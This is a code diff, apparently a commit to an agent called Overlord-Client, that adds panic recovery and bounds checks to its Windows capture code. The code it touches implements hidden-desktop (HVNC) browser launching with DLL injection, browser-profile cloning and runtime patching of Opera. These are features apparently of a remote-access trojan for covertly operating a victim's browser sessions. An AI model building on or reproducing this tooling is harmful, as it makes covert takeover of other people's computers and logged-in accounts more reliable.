safety and hopefully fix crashing bug with GPU mode.

Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go

@@ -163,7 +163,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 			return err
 		}
 		if info.needsPatch && pid != 0 {
-			go patchOperaAsync(pid, 5, 2*time.Second)
+			go func() {
+				defer recoverAndLog("hvnc patch opera", nil)
+				patchOperaAsync(pid, 5, 2*time.Second)
+			}()
 		}
 		return nil
 	}
@@ -207,7 +210,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
 		return err
 	}
 	if info.needsPatch && pid != 0 {
-		go patchOperaAsync(pid, 5, 2*time.Second)
+		go func() {
+			defer recoverAndLog("hvnc patch opera", nil)
+			patchOperaAsync(pid, 5, 2*time.Second)
+		}()
 	}
 	return nil
 }
@@ -622,6 +628,11 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
 		wg.Add(1)
 		go func() {
 			defer wg.Done()
+			defer func() {
+				if r := recover(); r != nil {
+					log.Printf("[panic] hvnc file copy worker: %v", r)
+				}
+			}()
 			for job := range jobCh {
 				n, err := forceCopyFile(job.src, job.dst)
 				if err != nil {
@@ -811,7 +822,10 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
 		if !hvncDXGIEnabled.Load() {
 			log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
 		} else {
-			go hvncDeferredGPUInject(pid, captureDllBytes)
+			go func() {
+				defer recoverAndLog("hvnc deferred gpu inject", nil)
+				hvncDeferredGPUInject(pid, captureDllBytes)
+			}()
 		}
 	}
 

Overlord-Client/cmd/agent/capture/hvnc_uia_windows.go

@@ -859,7 +859,10 @@ func uiaEnsureWorker() {
 	uiaWorkerOnce.Do(func() {
 		uiaWorkerCh = make(chan func(), 64)
 		uiaWorkerDone = make(chan struct{})
-		go uiaWorkerLoop()
+		go func() {
+			defer recoverAndLog("hvnc uia worker", nil)
+			uiaWorkerLoop()
+		}()
 	})
 }
 

Overlord-Client/cmd/agent/capture/hvnc_windows.go

@@ -456,7 +456,10 @@ func ensureHVNCThread() error {
 		hvncThreadReady = make(chan struct{})
 		hvncThreadTasks = make(chan hvncTask)
 		hvncWatchdogOnce.Do(func() {
-			go hvncThreadWatchdog()
+			go func() {
+				defer recoverAndLog("hvnc watchdog", nil)
+				hvncThreadWatchdog()
+			}()
 		})
 		go func(handle uintptr) {
 			defer recoverAndLog("hvnc desktop thread", nil)
@@ -558,7 +561,10 @@ func StartHVNCProcess(filePath string, operaPatch bool) error {
 		return result.err
 	}
 	if operaPatch && result.pid != 0 {
-		go patchOperaAsync(result.pid, 5, 2*time.Second)
+		go func() {
+			defer recoverAndLog("hvnc patch opera", nil)
+			patchOperaAsync(result.pid, 5, 2*time.Second)
+		}()
 	}
 	return nil
 }

Overlord-Client/cmd/agent/capture/win_duplication.go

@@ -756,7 +756,18 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 		}
 
 		pitch := int(mapped.Pitch)
-		src := unsafe.Slice(mapped.Bits, pitch*height)
+		if pitch < width*4 {
+			_ = s.dup.UnMapDesktopSurface()
+			_ = s.dup.ReleaseFrame()
+			return nil, fmt.Errorf("dxgi: pitch %d too small for width %d", pitch, width)
+		}
+		totalBytes := pitch * height
+		if totalBytes/height != pitch {
+			_ = s.dup.UnMapDesktopSurface()
+			_ = s.dup.ReleaseFrame()
+			return nil, fmt.Errorf("dxgi: pitch*height overflow (%d * %d)", pitch, height)
+		}
+		src := unsafe.Slice(mapped.Bits, totalBytes)
 		if wantScale {
 			img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation)
 		}
@@ -765,6 +776,9 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
 		}
 		_ = s.dup.UnMapDesktopSurface()
 		_ = s.dup.ReleaseFrame()
+		if img == nil {
+			return nil, errors.New("dxgi: pixel conversion failed (buffer too small)")
+		}
 	} else {
 		img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource,
 			wantScale, dstW, dstH)
@@ -976,7 +990,16 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res
 	}
 
 	pitch := int(mapped.RowPitch)
-	src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
+	srcH := int(srcDesc.Height)
+	srcW := int(srcDesc.Width)
+	if pitch < srcW*4 {
+		return nil, uintptr(1)
+	}
+	totalBytes := pitch * srcH
+	if totalBytes/srcH != pitch {
+		return nil, uintptr(1)
+	}
+	src := unsafe.Slice((*byte)(mapped.Data), totalBytes)
 	var img *image.RGBA
 	if wantScale {
 		img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation)
@@ -1094,6 +1117,9 @@ func createD3DDevice(adapter *idxgiAdapter1) (*d3d11Device, *d3d11DeviceContext,
 }
 
 func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA {
+	if len(src) < (height-1)*pitch+width*4 {
+		return nil
+	}
 	switch rotation {
 	case dxgiModeRotationRotate90:
 		dst := GetRGBA(height, width)
@@ -1166,6 +1192,9 @@ func convertBGRAScaled(src []byte, pitch, srcW, srcH, dstW, dstH int, rotation u
 	if rotation != dxgiModeRotationIdentity && rotation != 0 {
 		return nil
 	}
+	if len(src) < (srcH-1)*pitch+srcW*4 {
+		return nil
+	}
 	dst := GetRGBA(dstW, dstH)
 	xOff := make([]int, dstW)
 	for x := 0; x < dstW; x++ {